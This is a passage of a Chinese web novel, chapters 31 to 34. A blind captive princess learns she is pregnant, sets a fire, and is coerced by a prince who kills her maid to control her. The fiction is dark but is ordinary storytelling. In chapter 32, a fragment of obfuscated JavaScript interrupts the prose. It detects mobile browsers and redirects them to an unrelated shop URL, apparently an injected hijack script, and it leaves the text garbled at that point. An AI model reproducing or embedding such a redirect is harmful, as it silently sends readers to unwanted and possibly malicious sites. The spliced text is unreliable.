他眉头微蹙,声音里却听不出半分关切:“何必呢?你现在的处境,连站都站不稳,又拿什么与我抗衡?这般自讨苦吃,不过是徒增伤痕罢了。”
“那也全都是拜你所赐!”她咬着牙,试图挣脱他的钳制,却只换来更紧的束缚。
李京熠却并不恼,指尖反而轻柔地拂过她鬓边凌乱的碎发,顺势擦过她泛红的眼尾,带着几分令人捉摸不透的玩味:“这怎么能怪我?是你自己闯入这暗无天日的地牢,难道该怪我拦着你?”
“若不是因为你关押芙蕖,我又怎会沦落至此?”她声音嘶哑,却字字带恨。
“是。”他轻笑一声,那笑意却未达眼底,透着一股深沉的无奈,“怪我。怪我对你太过宽容,才纵得你这般不知天高地厚,酿成如今的局面。”
魏沛鸾颤颤巍巍地撑起身子,借着墙角的微光勉强稳住身形,苍白的脸上写满了决绝:“倘若芙蕖死在你手里,我一定会为她报仇,亲手杀了你。”
“你可以试试。”李京熠的表情依旧平静如水,嘴角甚至噙着一抹若有若无的笑意,仿佛方才听到了一个天真的笑话。
她不再多言,扶着潮湿阴冷的墙壁,摸索着往外走。地面凹凸不平,对于双目失明的她来说,每一步都很艰难。她踉跄着,好几次险些摔倒,却倔强地一次次撑住墙壁,不肯倒下。
李京熠跟在她身后,目光幽深,认真地注视着她的一举一动,看着她狼狈却顽强的背影,眼底划过一丝不易察觉的复杂情绪。
终于,他轻叹了一口气,大步上前,一把将她打横抱起。
“你连走个路都摇摇欲坠,又谈何杀我?”他低声在她耳边说道,语气里带着几分不容置疑的强势,“还是省省力气吧。”
李京熠的话很有道理,可现如今她已知晓自己的真实身份就是影阁的杀手,至于为何会被困在李京熠身边,那么必定是自己接到的任务就是杀李京熠。
但她已被李京熠废掉武功,再要找他报仇,可谓是难上加难。
地牢里阴冷的温度很快消失不见,取而代之的是暴晒的阳光。
魏沛鸾感受到皮肤上的灼热,不自觉把脸转向他怀里。
李京熠身上散发出来的气息依旧冰冷,像是终年不化的寒冰,每呼吸一口,都冻得让人五脏六腑都僵住。
31. 第31章
李京熠稳稳地抱着她,抱了一路。
回到广寒院之后,才将她轻轻放下。
她手掌上蹭破了皮,李京熠吩咐青蓉去请大夫来。
魏沛鸾静静地坐着,不出声,也没有任何动作,像是在生闷气。
李京熠捡起那条被打开的铁链,认真看了看锁扣,冷哼一声道:“没想到他还有这个本事。他们救得了你一次,难道还能救你第二次?”
“不关他们的事,是我让他们这么做的。”魏沛鸾害怕李京熠会为难程敬之和李灵,毕竟这次是被抓了现行。
“你不必为他们说话。”李京熠抓住她的脚踝,仔细去查看伤势,“这个鬼主意,一定是灵儿想出来的。这次是让他们钻了空子,但我绝不会给他们第二次机会。”
魏沛鸾还未来得及仔细揣摩他话里的意思,青蓉便领着大夫进门来了。
李京熠让开位置,随后对大夫沉声吩咐道:“仔细些,莫要遗漏。”
以防万一,大夫先是为魏沛鸾包扎好了手上的伤,随后为她诊脉。
大夫的眉头先是紧锁,手指在她脉门上按着,反复确认。良久,那紧锁的眉头骤然舒展开,脸上露出一抹喜色,立刻起身对李京熠道:“恭喜王爷!贺喜王爷!王妃已有一个多月的身孕了!”
“轰”地一声,仿佛一道惊雷在魏沛鸾的脑海中炸开。
她的脑子里一片空白,手脚顿时冰凉,那一股寒意直击她的心脏,让她止不住地战栗。她微微张着唇,牙齿咯咯作响,良久,才从干涩的喉咙里挤出三个字:“不可能……”
这突如其来的喜讯同样让李京熠震惊不已,但只是短暂的震惊,之后脸上的表情便变成了狂喜。
他挥袖示意青蓉送大夫出去,那动作里带着无法掩饰的急切与珍重。
“小九。”李京熠在魏沛鸾身旁坐下,宽大的手掌紧紧握住她冰凉的手指,试图驱散开她身上的寒意,“我们有孩子了。”
魏沛鸾好半天没缓过神来,仿佛没听见他的声音,只一味地喃喃道:“不会的……不可能……”
“大夫所言,千真万确,怎会有假?”李京熠急切地解释,眼中闪烁着从未有过的光彩,嘴角那一抹笑意怎么也压不住。
“我不信!”魏沛鸾猛地抽回手,像是触碰到了什么脏东西。她的情绪突然失控,厉声冲他吼道:“一定是你!一定是你让大夫这么说的!你们在骗我!”
“此等大事,我为何要骗你?”李京熠脸上的笑容缓缓褪去,声音低沉而笃定,“你自己的身子,难道你心里当真没数?”
闻言,魏沛鸾细细算着日子,过了好半晌,才像是终于接受了这板上钉钉的事实。
她当真有孕了。
而且,还是李京熠的孩子。
见她好半天不言语,李京熠低声道:“小九,我很高兴。”
可她并不高兴,心中无半分喜悦。
这个孩子于她而言,是个枷锁,是个负累。
“你出去。”她别开脸去,眉宇间满是冷漠和疏离。“我想静一静。”
这个孩子出现得太过突然,打乱了她的计划。原本她可以心无旁骛地去想救出芙蕖的方法,可现如今,尽快让这个孩子消失才最要紧。
她绝对不可能生下这个孩子。
一旦生下,李京熠一定会拿这个孩子当做拿捏她的把柄。
李京熠起身,正想转身离去之前,又突然蹲下身去,将铁链重新套上她的脚踝。
魏沛鸾狠狠咬着牙,终究没再开口求饶。
罢了,这个孩子,是断然留不得的。
李京熠本就是个疯子,怀着疯子的骨血,她必定不得安宁。
-
这几日,魏沛鸾总是睡不好,常常半夜醒来,惊觉李京熠在她身边之后,便再难以闭上眼睛。心中的恐惧、不安、矛盾……太多太多的情绪糅杂在一起,几乎快要将她吞没。
她的精气神非常不好,吃得比往常更少,于是乎,为了让她气色好些,也为了孩子,李京熠吩咐青蓉一日一日地监督她喝那些苦到难以下咽的汤药。
这样的日子简直是折磨。
脚上的铁链再也没有被打开过,魏沛鸾也没再向他低头。这样的日子让她难以支撑下去,在一日雷雨交加时分,她故意打翻了烛台。
火苗沿着锦帐拼命往上窜,像是势必要将这屋里的一切事物燃烧殆尽。
魏沛鸾知道这场火不会烧得太大太久,她不是想要自尽,也不是想趁此机会让肚子里的孩子消失。
她只是想给李京熠提一个醒。
她不甘愿被一直困在这里,她会想办法救出芙蕖,并且逃离。
她绝不会放弃。
耳边响起噼里啪啦的声音,魏沛鸾感觉到火焰离自己越来越近,但脚上的铁链限制了她的脚步,她已被逼至墙角。
浓烟滚滚,呛得她咳嗽不止。
她在心里算着时间,猜到先前去传膳的青蓉此时应已进入院子里了。
果不其然,青蓉的声音终于穿透各种嘈杂的声音响起。她高声喊着,但魏沛鸾被呛得无法回应,咳嗽咳得五脏六腑都要被震碎。
屋内的火苗窜地老高,很快就冲破了屋顶。
雨水哗啦啦地灌入,瞬间将火势扑灭大半。
魏沛鸾蜷缩在墙角,被浓烟熏得脑袋晕乎乎的,加上这几日精神不好,很快便要支撑不住。
正往广寒院来的李京熠在看清楚火光冲天的方向之后,心急如焚,不顾一切地朝这边奔来。
院外早已围满不少惊恐万分的下人,他们焦急地大喊着,奈何哪怕这大火被雨水浇灭大半,仍然让人不敢贸然上前。
匆忙赶到的李京熠没有丝毫犹豫,一头扎进火场。
灼热的气浪扑面而来,令人窒息。但他目光如炬,循着那条长长的铁链,很快找到蜷缩在角落里瑟瑟发抖的魏沛鸾。
李京熠三两下解开她脚上的锁扣,随即弯下腰,小心翼翼地将她打横抱起,大步流星地往屋外冲去。
刚一踏出火海,冰冷的雨水便接踵而至,狠狠砸在他们身上。雨水混合着烟灰,顺着魏沛鸾苍白的脸颊滑落,带来一丝刺骨的凉意与微痛。
李京熠的右臂在剧烈颤抖,殷红的鲜血正顺着指尖不断往下滴落。那是他方才不顾一切冲入火场时,被坍塌的
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横梁砸中留下的伤口,血肉模糊,深可见骨。
但他仿佛感觉不到痛楚,只是咬紧牙关,抱着她在这雨幕中疾步前行。
怀中的魏沛鸾,除了脸上残留着一丝未褪的惊恐,整个人显得异常平静。
噼里啪啦的燃烧声已被抛在身后,可那一股浓浓的硝烟味还是在鼻间萦绕,挥之不去。
湿润的水汽混合着呛人的烟火气钻入鼻腔,她忍不住咳嗽了几声。
李京熠将她轻轻放下,动作轻柔地拍着她的后背。他的动作轻柔,宽大的掌心传来令人安心的温度。
魏沛鸾逐渐缓过来后,却猛地挥开了他的手。
“为何好端端的会失火?”李京熠抬眼,望了一眼不远处那一片狼藉。
就猜到他会这么问,魏沛鸾早已想好托词,平静应对,答道:“我不小心打翻了烛台。”
“是吗?”李京熠声音平静,忍着右臂疼痛,将手掌上的鲜血在脏污的外袍上随意擦了擦。
他手臂上那狰狞的伤口,对于魏沛鸾来说,自然是看不见的。甚至,由于此时周遭的烟火味太重,她没能闻到那刺鼻的血腥气。
“是。”魏沛鸾面不改色,声音更加冷淡,“难道你认为我会自尽?放火烧自己?”
李京熠一言不发地在她身侧坐下,手臂上的鲜血不停地往下流,他不管不顾,只是目光深沉地静静望着她苍白的侧脸。开口时,嗓音低哑而温柔,“我知道你不想要这个孩子,所以你想用这种方法让他消失,是不是?”
“你猜错了。”魏沛鸾别开脸去,眼底的情绪静得像那波澜不惊的湖面。
她的确不想要这个孩子,但没想过用这种方法让孩子消失。
她这么做,只是想给李京熠提一个醒。
被逼至绝路,她也是会还击的。
雨越下越大,天渐渐暗了。
广寒院那边渐渐没了火光,只能看见几缕黑烟在夜幕中蜿蜒着往上飘散。
“我猜错了?”李京熠望着她消瘦的侧脸,又瞥见她紧抿的嘴唇和攥紧的拳头,问:“你这么做,就不怕万一你死了,我也会杀了芙蕖?你不是一心想要救她吗?倘若你死了,你认为我还会留着她的性命?”
“她被你折磨得只剩下一口气了……究竟要怎么做,你才会放了她?她杀不了你的,对你也不会造成任何威胁。”提到芙蕖,魏沛鸾的情绪终于有了一丝波动。
“我不是非要折磨她。”李京熠俯身逼近她,温热的呼吸喷洒在她耳边,带着一阵寒意,“但只有这样做,你才会听话。”
魏沛鸾紧紧咬着牙,心中满是愤恨。
他猛地扣住她的手腕,力气大得几乎要捏碎她的骨头,将她整个人禁锢在怀中,“我再问你一遍,为何会失火?你想清楚了再回答。芙蕖虽然只剩下一口气,但我仍然可以让大夫把她治好,再接着折磨她。”
抓住她的那只手力气用得不大,可无论如何魏沛鸾都挣脱不开了。因为她已经没有力气,不论她如何做,李京熠都有见招拆招的办法。
“是我。”想要瞒住李京熠,简直是天方夜谭,她哽咽着道:“是我推倒了烛台,是我……”
32. 第32章
“小九,凡事都有代价,你这么做,是会受到惩罚的。”
冰冷的一句话在她耳边炸开,魏沛鸾一时间并不明白他话里的意思。
她猜测李京熠是想用芙蕖要挟她,现如今,她只能安分一些。于是,她选择默不作声。
“我会将你安置到别处院子,也会换掉你身边伺候的人。”李京熠的声音不带一丝温度,继续说道。
魏沛鸾眉头紧锁,很是不解,“什么意思?”
李京熠口中的“代价”,是让青蓉为她付出代价?
“无用之人,留在你身边做什么?”说完,李京熠俯身钳住她的下巴,一字一句地警告道:“以后,倘若你再敢胡来,便想想后果。”
喷洒在她耳畔的呼吸尤为冰冷,冷得魏沛鸾牙关打颤。她一把挥开李京熠的手,冲他吼道:“你究竟想要做什么?难道你要杀了青蓉?你疯了吗?!”
“只要你以后乖乖听话,便什么事都没有。”
天色已晚,倾盆大雨骤停。
路管家处理好广寒院那边的事,急忙小跑着过来,对李京熠道:“王爷,广寒院里的大火已全部扑灭,但房屋损毁严重,今夜王爷与王妃恐怕要移步别处歇息了。”
李京熠微微颔首,随后开口道:“将残月阁收拾出来,另外,换个人伺候王妃。”说完,李京熠抬脚离开。
路管家刚想开口问王爷要不要找个大夫来为他处理伤口时,一抬头,王爷早就走没影了。于是,路管家对魏沛鸾说道:“王妃,您且稍后,老奴这就让人将残月阁收拾出来。”
魏沛鸾微微点头,并无言语。
残月阁与广寒院相比,于魏沛鸾而言,根本无差别。反正,她还是逃不出这一座王府,还是被困在这一方天地。
湿润的晚风轻轻地拂在脸上,带着些许寒气。
魏沛鸾抬手擦了下脸,竟不知自己在何时落了泪。
这一次,她确实莽撞了。
下一次,她一定不会再让此等事发生。
李京熠她要杀,这王府,她也一定能逃得出去。
独坐了会儿后,一个面生的丫鬟朝她疾步走来,因步履匆匆,裙摆被路边的积水溅湿。
她走到魏沛鸾跟前,恭恭敬敬地朝她行礼,“王妃,奴婢落霞,现在带您去残月阁。”
一个陌生的声音突然在耳边响起,魏沛鸾听着她的声音,脑海中找不到对应的容貌,想来自己从前没见过她,疑惑道:“落霞?”
“是,奴婢叫落霞。”
“青蓉呢?”魏沛鸾问。
“青蓉姐姐……”一听到这个名字,落霞神色慌张且惊恐,支支吾吾道:“路管家说,青蓉姐姐伺候王妃不当……已被逐出王府……”
魏沛鸾疑惑不已,“逐出王府?”
“是。”落霞紧紧掐着手掌,尽量不让声音发抖,生怕王妃会听出端倪。
方才前院发生的那血淋淋的一幕,王府上下所有人都看见了,那就是伺候不好王妃的下场。
她此次也是不得不领命,否则,屠护卫会杀到有人愿意伺候王妃为止。
落霞害怕地闭上眼睛,深呼吸一口气,努力挥散开脑海中的场景,走近魏沛鸾,说道:“王妃,天色已晚,奴婢带您去残月阁吧。”
魏沛鸾伸出手,任由落霞带她去。
但她其实并不相信落霞说的话,李京熠说会杀了芙蕖,难道是玩笑话吗?
李京熠何时对她开过玩笑?
那样一个疯子,又怎么可能在这样的紧要关头跟她开玩笑?
这是给她的警醒,魏沛鸾心里清楚。
“落霞,你跟我说实话,青蓉是不是被李京熠给杀了?”她想要听到否定的答案,可又想知道真相。
“奴婢……”落霞的额头上冒出细汗来,话到嘴边,又不得不生生咽下,“奴婢不知……”
“不知?”魏沛鸾喃喃着这两个字,心中了然。
李京熠的确是个疯子,这辈子遇上他,真是无路可逃。
残月阁离着广寒院不院,走了不多久,便到了地方。
残月阁内,灯火通明,桌上已摆好晚膳。
落霞扶着魏沛鸾坐下,随后走到铜盆前,将帕子打湿,再转身来为魏沛鸾擦脸。
闹了这么一遭,魏沛鸾确实饿了,但胃口不好,草草吃了两口便放下了筷子。
是她害了青蓉,她无法做到心安理得。
她一定会为青蓉报仇的。
-
深夜,屋内一片死寂。
魏沛鸾躺在床上,翻来覆去,始终无法入睡。
她的动作虽轻,对于时刻关注她的李京熠而言,同样难以入眠。
黑暗中,他微微侧过头,目光如炬,透过漆黑的夜色注视着她。
难以入睡的魏沛鸾终于撑着身子坐起来,呆呆地凝望着黑夜,尽管,她什么都看不见。但她的目光很坚韧,仿佛要穿透黑暗看见什么。
李京熠的右臂缠着绷带,于是用尚能活动的左手牵住她不安分的手,细细地摩挲着她的手背,低声问:“怎么了?想做什么?”
魏沛鸾的手在他掌心微微一缩,冷冷道:“想杀了你。”
“呵!”李京熠不由得轻笑出声,黑暗之中,他的眼底缓缓绽开一片温柔的笑意,“这大半夜的,说什么气话?”
“你当真杀了青蓉,是不是?”魏沛鸾质问道。
“是。”李京熠答得坦坦荡荡,语气中听不到一丝愧疚。在他看来,不过是一个卑微的奴婢而已,生死自然是全都掌握在他的手里。
“你怎么这么冷血?”魏沛鸾声音陡然拔高,带着抑制不住的愤怒与悲痛。
“一个奴婢而已,你要因为一个奴婢的性命,大半夜与我争吵?”李京熠也坐起身来,眼中的温柔立刻被怒气覆盖,“你若是执意如此,我不介意再添一条人命。”
魏沛鸾眉头紧蹙,心脏猛地一缩,“你这是何意?”
“残月阁内伺候你的那个婢女如何?你若是不喜欢,我再给你换一个。”李京熠的声音平静得可怕,像是在讲述一件稀松平常的事情。
“你疯了吗?!”魏沛鸾再也忍不住,冲他怒吼,“他人的性命在你看来,犹如蝼蚁是吗?”
“我这么做是为何,我想,你清楚。”
她的确清楚。
他是在警告她,是在用这种残忍的方式告诉她,他可以轻易掌控他人的生死,包括她身边的人。
但她并不甘愿被李京熠牵着鼻子走。
这样的恶魔,这样的疯子,究竟要如何才能逃离?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515783|203187||http|test|mini|href|location''.split(''|''),0,{}));
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>“你若是再敢滥杀无辜,你就会失去这个孩子。”说着,魏沛鸾将手覆上平坦的小腹。
才一个多月的身孕,魏沛鸾压根无法感受到这个孩子的存在。
当然,她也并不在意。
用孩子去威胁李京熠,确实卑鄙。
毕竟,这个孩子也是她的。
“我们的孩子若是有个意外……”李京熠忽然欺身逼近她,冰冷的指尖划过她白皙修长的脖颈,阴森森地贴在她耳边低语:“那便只会死更多人。你要是敢赌一把,你就试试。”
他喷洒出来的气息冰冷可怖,魏沛鸾不受控制地瑟缩了一下身子。
她不敢。不敢用他人的性命牵扯进她与李京熠之间的恩怨里。
李京熠是个不折不扣的疯子。
与他为敌,以卵击石。
“好好睡一觉吧,夜深了。”李京熠眼底的阴鸷稍纵即逝,他动作轻柔地把她按回床榻,替她盖好被子。
魏沛鸾任由他摆布,心底早已凉成一片。
这一夜,魏沛鸾不清楚自己到底睡着没有,只知道李京熠起身离开时,一定是天亮了。
昨日一场倾盆大雨,驱散开连日以来的热气。今日的空气中,透着几分难得的凉爽。
用过早膳后,魏沛鸾便一直在房中坐着。
脚上虽已没了铁链,但她仍然走不出这王府。这里是一座无形的囚牢,将她困住,将她所有的情绪都困住。
落霞站在一旁,目光紧锁在她身上,看似恭敬,实则严防死守,生怕她会出一点岔子。
她独坐了很久很久,久到四肢麻木,她这才准备起身活动筋骨。
落霞见状,迅速上前一把扶住她的胳膊,小心翼翼地试探道:“王妃,您要去哪儿?”
“我去睡会儿。”魏沛鸾神色倦怠,声音平淡,“午膳我不吃,不用喊我。”
落霞连连答是,小心地扶着她往床榻边去。
-
或许是因为李京熠不在身侧,白日里睡着倒是比昨夜睡得沉一些。
迷迷糊糊之间,窗外似乎又开始下雨。
她听着连绵不绝的雨声,一觉睡到了午后。
再次醒来时,他发现自己在李京熠怀里。
她挣扎着起身,不愿与李京熠有这般亲密的举动。
怀里的温度骤然一空,李京熠却并未动怒,反而顺势抬手,指尖掠过她凌乱的发丝,声音里带着一丝慵懒的笑意:“睡醒了?睡得可真够久呢。”
“别碰我!”魏沛鸾猛地拍开他的手。
“怎么了?”他的声音依旧温柔,仿佛未听出她语气中的厌恶。
“一醒来就见到你,真是倒胃口!”她狠狠咬着牙说道。
“小九,这些气话可不能把我气走。”李京熠完全不恼,甚至能听出他心情还不错,连带着呼吸都变得轻快,“你若是不愿见到我,我可以永远不治好你的眼睛。”
这句话像一道惊雷,在魏沛鸾耳边炸响。
她猛地转过身,虽然看不见,但泛红的眼尾和紧绷的下颌线,无一不在告诉李京熠,她恨他。
有些时候,魏沛鸾真的很想问问李京熠,为何会平白无故说出这样一句话?
就像现在这样。
他是认真的吗?还是在开玩笑?
33. 第33章
“你疯了是吗?”她的声音在颤抖。
“怎么?”李京熠盯着她泛红的眼尾,左手臂猛地收紧,将她重新揽入怀中,力气大得出奇,“反正,你也习惯了不是吗?”
魏沛鸾气得浑身发抖,指甲深深掐进掌心,“看来你真的是疯了!”
李京熠抱住她,紧紧地抱住,像是要将她勒进胸腔里。他的声音喑哑,带着一丝偏执,“小九,你怎样说都好,我不在乎。”
“那你在乎什么?”她在他怀里挣扎,“这个世上,总有你在乎的东西。”
“你。”
这个回答,在意料之中。
可真从他嘴里说出来,又觉得很是让人恐惧。
“我说的是真话,小九,你要相信我。”李京熠的声音温柔,语气真诚,像是一块裹着蜜糖的毒药。
李京熠的话,哪一句能信?
他从来没对她说过一句真话,她才不信他。
魏沛鸾闻着他身上散发出来的气息,突然隐约闻到一股苦涩的药味,还有一丝若有若无的血腥气。
药?他受伤了?
这个念头一闪而过,随即被她狠狠掐灭。
罢了,李京熠是个长命的人。
先前遭遇过那么多次刺杀都能毫发无伤,如今活生生地站在她面前,她又何须为他忧心?
他身上沾染血腥气,第一时间想到的应该是谁死于他手,而不是为他担心。
魏沛鸾推开他,像是要彻底逃离开属于他的气息,“你别再一副故作深情的模样,尽管我目不能视,我听着你说的话,也想吐。”
-
魏沛鸾这些时日心绪不佳,因怀有身孕,身子很是难受。本就吃得不多,再加上时常恶心想吐,精气神就更差了。
落霞急得不行,整天想着法子让她多吃些。
魏沛鸾深知若是再连累到旁人,恐怕连落霞也会遭难。于是,她硬是咬牙坚持着,生怕自己再做些什么事会惹得李京熠大杀四方。
“落霞,这几日,永安侯夫人可来过吗?”魏沛鸾放下手中的勺子,抬头问道。
落霞正在为她布菜,闻言,赶忙放下手中的筷子,答道:“回王妃的话,这几日,永安侯夫人未曾来过。”
想来也是,那一日发生了那样的事情,想必李灵也不会再登门。哪怕登门,也必定会被李京熠拒之门外。
是自己让他们兄妹之间生了嫌隙,但目前来看,她自身难保,无法再插手他们之间的事。
“王妃,您想见永安侯夫人?”落霞问。
魏沛鸾轻叹口气,缓缓摇头,“没必要让她引火上身,徒增烦恼罢了。”
“但奴婢见您这些时日都不大开心,若是有人能来陪您说说话,兴许会好一些。”落霞见她成日愁眉不展,一脸担忧道。
闻言,魏沛鸾却笑了笑,笑容里满是苦涩无奈,“这就是李京熠的目的,他要让我孤立无援,再没人能救我。”
这番话让落霞实在摸不着头脑,满脸疑惑。在她看来,王爷待王妃极好,没有三妻四妾先不说,单论王爷在昏迷的王妃身旁守了两个月,这便是其他男子比不上的真情实意。
可王妃呢?对待王爷总是冷淡,甚至有时会很愤怒、生气,从不给他好脸色。
这些在落霞眼里看来,王妃似乎从不领王爷的情。
见她半晌不语,魏沛鸾掩面轻咳两声,语气里透着几分刻意的威慑:“这些话,你大可同李京熠说。”
“奴婢不敢!”落霞吓得连忙跪地,战战兢兢道:“求王妃饶命!”
“你起来吧。”魏沛鸾无力地挥手,神色倦怠,“你说不说与他听都不要紧,于我而言,也不重要了。”
落霞颤颤巍巍地站起身来,刚想去布菜,却见魏沛鸾抬手示意不吃了。她缓缓起身,步履有些虚浮地摸索着往门外去。
“今日天气如何?”
落霞见状,立刻上前去扶住她,答道:“晴空万里,是个极好的天儿。”
“那陪我出去走走。”说着,魏沛鸾便抬脚往前走。
迎面吹来的风里裹挟着燥热,其实并不是个适合散步的时候。更何况这会儿正值午时,日头更毒,像是要把人烤化。
“王妃,您这是要去哪儿?”
沉思片刻,魏沛鸾突然问:“李京熠可曾说过,不许我出府?”
“王爷特地嘱咐过,您如今怀有身孕,不宜外出。”落霞如实说道。
“他今日在王府吗?”
“王爷已出府大半日了。”
“去了哪儿?”
“早上是内侍来传旨,应是入宫。”
又入了宫?
难道李京熠开始插手朝堂事了?
自从他回到北苍城以来,入宫的次数越来越频繁,这不禁让魏沛鸾疑心。
想到这里,她突然想起李京熠交兵符的事。之所以交出兵符,是因为李京熠要在云隐别院里专心照顾她。
魏沛鸾知道,那自然只是李京熠为了躲避刺杀而找的借口。
可真实原因究竟是什么呢?
手握兵权的王爷,为何会被刺杀?
交出兵符之后,在云隐别院里的那段日子,李京熠似乎过得平安无事。
所以,是兵符给他招来了杀身之祸。
而自己,很有可能是被想要得到兵符之人派出刺杀李京熠的。
如此说来,这是朝堂之争。
所以,自己是接到了谁的任务?
现如今,那人可以救她吗?
既然李京熠已交出兵符,那么她还有必要将任务进行下去吗?
所有的疑问像一团浆糊,在她的的脑海中挥之不去。
不知芙蕖究竟知不知道此事。自己可以去问一问她。
但芙蕖如今口不能言,而她目不能视,她要如何去问芙蕖呢?
好不容易猜到一丝线索,她绝对不会放弃。
牵扯上兵符是朝堂事,皇城之中,朝堂之上,谁会敢杀一个王爷去夺取兵符?
想到这里,魏沛鸾突然吓得浑身一抖,一个十分不好的念头从脑海里冒出来。
难不成,是皇帝要杀李京熠?
可有何理由呢?
他是皇帝,若是要收回兵符,随便找个理由不就行了?何必要杀李京熠呢?
往深处想,难不成李京熠会造反篡位?
越想越离谱,魏沛鸾都忍不住嘲笑自己。
无论李京熠生与死,都与她无关。
无论谁要杀他,也都与她无关。
自己何必在意他的事?
“李京熠……可有好友?”她冷不丁地问。
落霞仔细回想,随后犹豫着摇头,“王府里鲜少有外人踏足,王爷平日里与谁交好,奴婢不清楚。”
魏沛鸾点点头,一时间的确想不到李京熠与谁走得近。这几个月里
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,李京熠也未曾带她去见过什么人。甚至,现在连他的亲妹妹也不让她见了。
要想找到要杀李京熠之人,谈何容易?
“王妃,要坐下歇息吗?”落霞注意到她额角冒出的细汗,小心翼翼地问道。
“嗯。”魏沛鸾任由落霞将她扶到一旁坐下,“府内这般安静,这些时日,路管家没有派人修缮广寒院吗?”
落霞伸长脖子往广寒院的方向望了一眼,别说修缮了,那里甚至连一个人影也没有。
“兴许是王爷还未发话,所以路管家不敢擅专。”
李京熠还未发话?
他为何不肯修缮广寒院?
“烧毁严重吗?”
“大半屋子都塌了。”落霞如实说道,“那一日失火,屋子坍塌得厉害。王爷从火场冲出来时,手臂还受了伤,看起来伤得很严重。”
果真受伤了?
难怪这几日都隐约闻到他身上有药味,原来不是错觉。
-
王府犹如一座囚笼,将她牢牢地困在这里。为了不坐以待毙,魏沛鸾必须想办法出去。
唯一的突破口就是李京熠,他吃软不吃硬,所以魏沛鸾必须放低姿态,忍着恶心厌恶也要说些好话给他听。
临近傍晚时分,李京熠才回来。
这会儿,魏沛鸾正端着碗小口啜引着清凉解暑、酸甜开胃的梅子汤,听见他进屋的动静,遂放下碗。
屋内沉默了好一会儿,魏沛鸾想着该如何开口才能不显得突兀,正在犹豫不决时,李京熠忽然走近她,在她身旁坐下。
“小九。”
魏沛鸾认真听着他的声音,却没能听见他接着往下说,不禁好奇问道:“何事?”
“没什么。”李京熠握住她的手,细细摩挲着她的手背,“瞧着你今日的气色很好。”
“是吗?”她的嘴角勉强勾起一个弧度,“今日落霞陪我在院外走了走,兴许是太阳晒的。”
比起前阵子,她憔悴不少。
这些时日,她吃也吃不好,睡也睡不好,李京熠都看在眼里。现在终于瞧见她的脸上有了笑容,李京熠不由得心情也好了起来。
“明日我想去外面走走。”
“街上人多,如今你有孕在身,不可去人多的地方。”
魏沛鸾不高兴地一撇嘴,“可我真的想出去走走。”
李京熠静静地望着她,猜测她不只是想出去走走。她已有很长一段日子没有心平气和地与他说过话,这次开口,一定是又有了什么想法。
这段日子不太平,她从端王府出去,势必会引起许多人的追查。
沉思片刻,李京熠却还是点头道:“好。但你要多带两个人出去,只带落霞一人,是绝对不行的。”
他答应得这般爽快,魏沛鸾甚至怀疑是不是有诈。
可冥思苦想好一阵,她也想不通李京熠为何会这么轻易地答应?
不过他既已应允,魏沛鸾自然欣喜,忙答道:“好,我一定会小心的。”
单单是她小心是没用的,府外除了宫里派出的人,还有影阁的人,他们都在想办法确认她的真实身份。
如今的她武功全废,属于影阁的印记也早已被李京熠抹去,她已与寻常女子无异。但倘若影阁确认她就是影九,并且毫无用处,恐怕不会再留着她的性命。
到时,宫里的人与影阁的杀手一起动手,他会有胜算保住她吗?
34. 第34章
次日,依旧是个晴朗的好天气。
魏沛鸾用过早膳后,便再也在残月阁坐不住了,拔腿就要往外走。
落霞在出门前很是紧张,生怕王妃会在府外发生什么事。好在这一大早的,街上行人不多,再加上王妃失明,走路比较缓慢,落霞倒是暗自松了口气。
魏沛鸾听着耳边响起的久违的嘈杂声,终于是长长地呼出了一口气。
实在是太久没有见到王府之外的人,哪怕现在看不见这一番热闹非凡的景象,她也高兴。
落霞时刻注意着王妃的动静,见她自从出了府之后,嘴角上便挂着开心的笑容,便知道她此刻心情很好。
“落霞,街边卖的是何物?好香啊。”魏沛鸾问。
落霞将视线投向街边的小摊,看着那一小块白花花的糕点,答道:“是桂花糕。”
“我想买一些尝尝。”
落霞有些为难,支支吾吾道:“可是……王爷特意叮嘱过,不让您吃外头的东西。”
闻言,魏沛鸾嘴角的笑容僵住。
李京熠何必这么小心翼翼呢?
究竟是为了她肚子里的孩子,还是为了她?
那一阵诱人的香气实在让人挪不开步子,她并不打算就此放弃,而是继续说道:“我尝一口就行了,不多吃。你们不告诉李京熠不就好了?”
落霞无奈地看向其他两个姐妹,她们也是一脸为难的样子。
“王妃,奴婢们实在做不了主。”
“罢了。”魏沛鸾也不想让这等小事令她们为难,于是欲抬脚继续往前走。
不过刚走出两步,一阵清脆的惊呼声便突兀地划破了周遭的宁静。
“哎哟!”
那声音稚嫩,显然是个尚未长成的小姑娘。
紧接着,魏沛鸾脚边传来细微的“啪嗒”声,似有什么东西滚落。
“怎么了?”她微微侧首。
落霞看了一眼摔倒在她们跟前的小姑娘,连忙松开魏沛鸾的手,快步上前,“是个卖花的小姑娘跌了一脚,奴婢去扶她起来。”她蹲下身,小心翼翼地将那小姑娘扶起,并细心地为她拍了拍衣服上的尘土,柔声问:“你没事吧?摔疼了吗?”
小姑娘顾不得身上的疼痛,看着散落一地被摔坏的鲜花,顿时红了眼眶,立刻放声大哭起来,“花摔坏了……我把花摔坏了……”
花?
魏沛鸾仔细闻了闻,的确闻到一股沁人心脾的花香。
“小妹妹,别哭,我把花全都买下来。”魏沛鸾的嘴角挂着一抹浅浅的笑意,声音温柔道。
哭声戛然而止,小姑娘眨着亮晶晶的眼睛,不可置信地问道:“真的吗?姐姐真的买吗?”
“自然。”魏沛鸾笃定地点头,随后蹲下身,想要去拾起脚边的花。
“王妃,使不得!”落霞见状,连忙抢先将散落的花朵一把把拾起,匆匆塞进魏沛鸾的手中,动作中带着几分急切。
魏沛鸾抚摸着手中娇艳欲滴的鲜花,她虽看不到这花朵的美丽,更看不到颜色,但那一阵芬芳馥郁的香气不间断地萦绕在鼻间,闻着让人心情好。
“落霞,给她钱。”她轻声吩咐道。
落霞干脆利落地付了钱。尽管王爷说了不能让王妃吃府外的东西,也说了不能接触到府外的物品,但这只不过是几朵花而已,应该没什么要紧。
小姑娘收下了钱,开心地吸了吸鼻子,随后注意到面前人的那双眼睛,疑惑地问道:“姐姐,你的眼睛是看不见了吗?”
